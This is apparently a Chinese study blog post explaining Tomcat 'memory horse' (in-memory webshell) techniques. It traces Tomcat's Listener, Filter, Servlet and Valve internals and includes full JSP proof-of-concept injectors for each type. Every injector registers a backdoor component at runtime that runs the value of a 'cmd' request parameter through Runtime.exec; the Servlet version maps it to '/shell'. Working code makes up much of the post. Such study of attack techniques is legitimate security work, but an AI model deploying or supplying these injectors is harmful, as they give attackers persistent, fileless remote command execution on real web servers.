Tomcat型内存🐎
参考文献:
Tomcat中的三种Context
根据Tomcat的三大件servlet、linstener、filter注入内存马,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上
先导入依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.31</version>
</dependency>
ServletContext
在Tomcat架构分析的时候,也提到过这个:
Servlet规范中规定了一个ServletContext接口,其用来保存一个Web应用中所有Servlet的上下文信息,可以通过ServletContext来对某个Web应用的资源进行访问和操作

ApplicationContext

使用getServletContext()方法其实是获取到了ApplicationContextFacade类,但是其实本质上还是调用了ApplicationContext类中的方法

StandardContext
它是context容器的标准实现类,包含了对容器资源的各种操作,ApplicationContext本质上是调用了StandardContext

一张图来总结其中的关系:

Tomcat内存马
Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型。可能有些朋友会发现,这不正是Java Web核心的三大组件嘛!没错,Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。
在这就一步一步的来分析:
引入Tomcat依赖—这个我在一开始就已经引入了
Listener型
Listener根据事件可以分为3中ServletContextListener,HttpSessionListener,ServletRequestListener
很明显,ServletRequestListener类型的是最适合用来做内存马的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()
方法,我们只需要在这个方法中写入恶意命令就可以达到攻击手段了
例子:
package Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.io.IOException;
@WebListener
public class Hello_Listener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
访问任意路由都会触发命令

我们刚刚只是演示了一下 Listener中的requestInitialized() 会在我们访问路由的时候自动调用,但是我们不可能可以直接去修改这个方法,那应该怎么动态的写入恶意的listener呢?
Listener注册过程
断点就打在requestInitialized()方法上,我们看看在这之前都调用了什么隐藏帧,开始回溯寻找调用过程

先来看StandarContext#fireRequestInitEvent方法
public boolean fireRequestInitEvent(ServletRequest request) {
Object[] instances = this.getApplicationEventListeners();
if (instances != null && instances.length > 0) {
ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
for(int i = 0; i < instances.length; ++i) {
if (instances[i] != null && instances[i] instanceof ServletRequestListener) {
ServletRequestListener listener = (ServletRequestListener)instances[i];
try {
listener.requestInitialized(event);
} catch (Throwable var7) {
Throwable t = var7;
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instances[i].getClass().getName()}), t);
request.setAttribute("javax.servlet.error.exception", t);
return false;
}
}
}
}
return true;
}
先是调用getApplicationEventListeners()获取到一个数组,然后遍历数组调用listener.requestInitialized(event);方法触发Litener,先步入
getApplicationEventListeners()方法
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}
发现信息是储存在applicationEventListenersList中的:

而且我们是可以通过StandardContext#addApplicationEventListener()方法来添加Listener
public void addApplicationEventListener(Object listener) {
this.applicationEventListenersList.add(listener);
}
注入Listener
在往上看一帧


发现在这执行了invoke方法 获取到了StandardContext的实例
第二种方法获取:
由于JSP内置了request对象,我们也可以使用同样的方式来获取
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
//这里的Request为org.apache.catalina.connector.Request
StandardContext context = (StandardContext) req.getContext();
%>
第三种:
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
这里就用第二种来进行注入:
这里先使用jsp文件进行注入,后面还会说实战怎么通过反序列化来加载
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
先访问一下jsp文件 这样就会把我们的恶意Listener注入了(访问这个jsp文件之后,会执行其中的代码,我们先是获取到了context上下文,然后把我们的恶意类添加到上下文中,然后在自动的调用我们的恶意方法)

Filter型
Filter调用分析
调用栈如下:注意的是 在我们给doFilter方法打上断点之后,已调试的模式去运行服务器,还需要去访问一下资源,在访问的过程中会触发Filter

还是一样先看调用栈
ApplicationFilterChain#internalDoFilter
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if (this.pos < this.n) {
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
}
if (Globals.IS_SECURITY_ENABLED) {
ServletRequest req = request;
ServletResponse res = response;
Principal principal = ((HttpServletRequest)req).getUserPrincipal();
Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
} catch (ServletException | RuntimeException | IOException var15) {
Exception e = var15;
throw e;
} catch (Throwable var16) {
Throwable e = var16;
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
} else {
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
if (request.isAsyncSupported() && !this.servletSupportsAsync) {
request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
}
if (request instanceof HttpServletRequest && response instanceof HttpServletResponse && Globals.IS_SECURITY_ENABLED) {
ServletRequest req = request;
ServletResponse res = response;
Principal principal = ((HttpServletRequest)req).getUserPrincipal();
Object[] args = new Object[]{req, res};
SecurityUtil.doAsPrivilege("service", this.servlet, classTypeUsedInService, args, principal);
} else {
this.servlet.service(request, response);
}
} catch (ServletException | RuntimeException | IOException var17) {
Exception e = var17;
throw e;
} catch (Throwable var18) {
Throwable e = var18;
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.servlet"), e);
} finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set((Object)null);
lastServicedResponse.set((Object)null);
}
}
}
}
在这里稍微了解一下filterConfig
一个filterConfig对应一个Filter,用于存储Filter的上下文信息

再去看看filters是怎么来的

这里的filters
属性是一个ApplicationFilterConfig数组。 我们直接去这个数组里怎么储存Filter的,很难找到(这里其实是有点难理解的,先跟着大佬文章看吧)我这里的初步理解是因为调用的ApplicationFilterChain所以要找到ApplicationFilterChain的Filter,我们就继续往上看调用帧
StandardWrapperValve#invoke方法中

看看它是怎么来的:

步入ApplicationFilterFactory.createFilterChain方法:
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {
...
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
...
String servletName = wrapper.getName();
// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...
filterChain.addFilter(filterConfig);
}
...
// Return the completed filter chain
return filterChain;
}
只看其中关键代码:
首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
然后通过wrapper.getParent()函数来获取StandardContext对象
接着获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
最后根据Filter的名称,在StandardContext中获取FilterConfig
通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain中
这是一套完整的调用逻辑了,但是我们应该怎么把恶意的Filter注入呢?
我们看到刚刚分析的时候,是在最后的时候把filter取出来进行调用,在这之前都是封装在filterConfig中,所以我们一开始也是必须得把恶意的filter放入filterConfig中,所以我们就来看看它其中的格式(这里直接看佬的,不浪费时间找了):
Filter注册分析
StandardContext
我们能看到此时的上下文对象StandardContext
实际上是包含了这三者的:

filterConfigs:
其中filterConfigs包含了当前的上下文信息StandardContext
、以及filterDef
等信息

filterDef:
存放了filter的定义,包括filterClass、filterName等信息

filterDefs
是一个HashMap,以键值对的形式存储filterDef

filterMaps
以array的形式存放各filter的路径映射信息

必要属性:dispatcherMapping
、filterName
、urlPatterns
注册Filter思路
- 获取StandardContext对象
- 创建恶意Filter
- 使用FilterDef对Filter进行封装,并添加必要的属性
- 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
- 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
获取StandardContext对象
StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

1. 创建恶意Filter
public class CmdFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
System.out.println("filter 销毁");
}
}
FilterDef对Filter进行封装
String name="filterShell";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new CmdFilter());
filterDef.setFilterClass(CmdFilter.class.getName());
filterDef.setFilterName(name);
context.addFilterDef(filterDef);
创建filterMap类
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);
注入到filterConfigs中
这里因为ApplicationFilterConfig的构造方法不是公共的,需要反射来进行调用
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
filterConfigs.put(name, filterConfig);
POC
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class CmdFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) {
System.out.println("shell");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException, IOException {
Runtime.getRuntime().exec("calc");
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
%>
<%
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
%>
<%
String name="filtershell";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new CmdFilter());
filterDef.setFilterClass(CmdFilter.class.getName());
filterDef.setFilterName(name);
context.addFilterDef(filterDef);
%>
<%
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);
%>
<%
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
filterConfigs.put(name, filterConfig);
%>
还是一样 得先访问jsp木马文件,然后就会自动注入进去,注入完毕之后在我们访问资源之前就会进行拦截执行命令

Servlet型
其实思路都差不多,就是看怎么把恶意类注入到上下文中,每一种类型涉及的方法不一样,所以注入时调用的方法也不一样
编写恶意servlet
<%@ page import="java.io.IOException" %>
<%!
//jsp定义或者声明需要加上!
public class CmdServlet extends HttpServlet {
@Override
public void init(ServletConfig servletConfig){
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
String cmd = servletRequest.getParameter("cmd");
if(cmd!=null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
注入servlet内存马
这里就只看ConfigContext#configureContext注册Servlet流程过程了,因为按照顺序来说是先listener-filter-servlet
先写出大致步骤
由上下文context创建wrapper,用来包装servlet
设置Servlet名称
设置Servlet全类名
wrapoer设置servlet
将wrapper放入context
添加url路径映射
创建StandardWrapper
在StandardContext
#startInternal
中,调用了fireLifecycleEvent()
方法解析web.xml文件

看看fireLifecycleEvent()方法的具体实现:
protected void fireLifecycleEvent(String type, Object data) {
LifecycleEvent event = new LifecycleEvent(this, type, data);
Iterator i$ = this.lifecycleListeners.iterator();
while(i$.hasNext()) {
LifecycleListener listener = (LifecycleListener)i$.next();
listener.lifecycleEvent(event);
}
}
最终通过ContextConfig#webConfig()方法解析web.xml获取各种配置参数,里面通过调用configureContext方法来从context里面获取web.xml里面的信息

获取到信息之后,是通过ContextConfig#addServletContainerInitializer来添加

通过configureContext(webXml)
方法创建StandWrapper对象,并根据解析参数初始化StandWrapper对象
private void configureContext(WebXml webxml) {
// As far as possible, process in alphabetical order so it is easy to
// check everything is present
// Some validation depends on correct public ID
context.setPublicId(webxml.getPublicId());
... //设置StandardContext参数
for (ServletDef servlet : webxml.getServlets().values()) {
//创建StandardWrapper对象
Wrapper wrapper = context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
//设置LoadOnStartup属性
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
...
wrapper.setOverridable(servlet.isOverridable());
//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
//添加路径映射
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
}
...
}
最后通过addServletMappingDecoded()
方法添加Servlet对应的url映射
加载StandWrapper
在StandardContext#startInternal
方法通过findChildren()
获取StandardWrapper
类

最后依次加载完Listener、Filter后,就通过loadOnStartUp()
方法加载wrapper
public boolean loadOnStartup(Container children[]) {
// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
//判断属性loadOnStartup的值
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper);
}
// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
}
注意这里对于Wrapper对象中loadOnStartup
属性的值进行判断,只有大于0的才会被放入list进行后续的wrapper.load()
加载调用。
这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup
属性值来设置每个Servlet的启动顺序。默认值为-1,所以是需要我们手动修改的
总结一下需要完成哪些:
获取StandardContext对象
编写恶意Servlet
通过StandardContext.createWrapper()创建StandardWrapper对象
设置StandardWrapper对象的loadOnStartup属性值
设置StandardWrapper对象的ServletName属性值
设置StandardWrapper对象的ServletClass属性值
将StandardWrapper对象添加进StandardContext对象的children属性中
通过StandardContext.addServletMappingDecoded()添加对应的路径映射
获取StandardContext对象:
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>
恶意类:
<%@ page import="java.io.IOException" %>
<%!
//jsp定义或者声明需要加上!
public class CmdServlet extends HttpServlet {
@Override
public void init(ServletConfig servletConfig){
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
String cmd = servletRequest.getParameter("cmd");
if(cmd!=null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
创建StandardWrapper对象
<%
CmdServlet cmdServlet = new CmdServlet();
String name = cmdServlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(cmdServlet);
wrapper.setServletClass(cmdServlet.getClass().getName());
%>
添加进上下文:
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>
POC
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%!
//jsp定义或者声明需要加上!
public class CmdServlet extends HttpServlet {
@Override
public void init(ServletConfig servletConfig){
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
String cmd = servletRequest.getParameter("cmd");
if(cmd!=null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>
<%
CmdServlet cmdServlet = new CmdServlet();
String name = cmdServlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(cmdServlet);
wrapper.setServletClass(cmdServlet.getClass().getName());
%>
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>
得先访问jsp文件 加载进去之后在对应的路径下执行命令

Valve型
先学习一下什么是Valve
我们先来简单了解一下Tomcat中的管道机制
我们知道,当Tomcat接收到客户端请求时,首先会使用Connector
进行解析,然后发送到Container
进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。
管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter中的责任链机制

在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。
管道机制流程分析
Pipeline接口:
我们可以看到它是继承了Contained
public interface Pipeline extends Contained {
public Valve getBasic();
public void setBasic(Valve valve);
public void addValve(Valve valve);
public Valve[] getValves();
public void removeValve(Valve valve);
public void findNonAsyncValves(Set<String> result);
}
Pipeline接口提供了各种各样对Value操作的接口,例如我们等会需要用的的addValue
Value接口:
public interface Valve {
public Valve getNext();
public void setNext(Valve valve);
public void backgroundProcess();
public void invoke(Request request, Response response)
throws IOException, ServletException;
public boolean isAsyncSupported();
}
其中getNext()方法可以用来获取下一个Valve,这个调用模式跟Filter的调用模式很像

通过源码看一看,消息在容器之间是如何传递的
消息传递到Connector被解析后,在org.apache.catalina.connector.CoyoteAdapter#service
方法中:
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {
Request request = (Request) req.getNote(ADAPTER_NOTES);
Response response = (Response) res.getNote(ADAPTER_NOTES);
if (request == null) {
// Create objects
request = connector.createRequest();
request.setCoyoteRequest(req);
response = connector.createResponse();
response.setCoyoteResponse(res);
// Link objects
request.setResponse(response);
response.setRequest(request);
// Set as notes
req.setNote(ADAPTER_NOTES, request);
res.setNote(ADAPTER_NOTES, response);
// Set query string encoding
req.getParameters().setQueryStringCharset(connector.getURICharset());
}
...
try {
...
connector.getService().getContainer().getPipeline().getFirst().invoke( request, response);
}
...
}
主要的就是看这个connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
我们这里最好是通过断点来看,看的更清楚

connector.getService(): 获得StandardService
接着通过StandardService.getContainer().getPipeline()获取StandardPipeline对象

connector.getService().getContainer().getPipeline().getFirst() 获取到Valve

然后就是通过invoke方法 来执行不同的方法了
注入Valve
我们可以看到是通过getFirst()来获取到不同的Valve 然后在执行对应的操作,那么我们就只需要获取到网页的context,然后把我们恶意的Value存放进去,就可以达到攻击目的了
我们看看在哪里存放了Valve ,找到Pipeline

pipeline是在它的父类中定义的

接着看

可以通过addValve方法添加Valve
那么现在思路就明确了:
- 获取
StandardContext
对象 - 通过
StandardContext
对象获取StandardPipeline
- 编写恶意Valve
- 通过
StandardPipeline.addValve()
动态添加Valve
获取StandardPipeline对象
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
%>
编写恶意Valve
继承父类,并且重写invoke方法
<%!
class Shell_Valve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
}
%>
动态添加Valve
<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>
POC
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
%>
<%!
class Shell_Valve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
}
%>
<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>
访问jsp文件后 动态注入内存马 任意路径可以执行命令

总结
其实Tomcat内存马学起来也不算太难,别给自己设置难度(这里是因为作者的开发功底不太好,很多基础的东西并没有去学过,所以一直在拖延吧,得好好反思),java的学习是需要沉下心来学习的 加油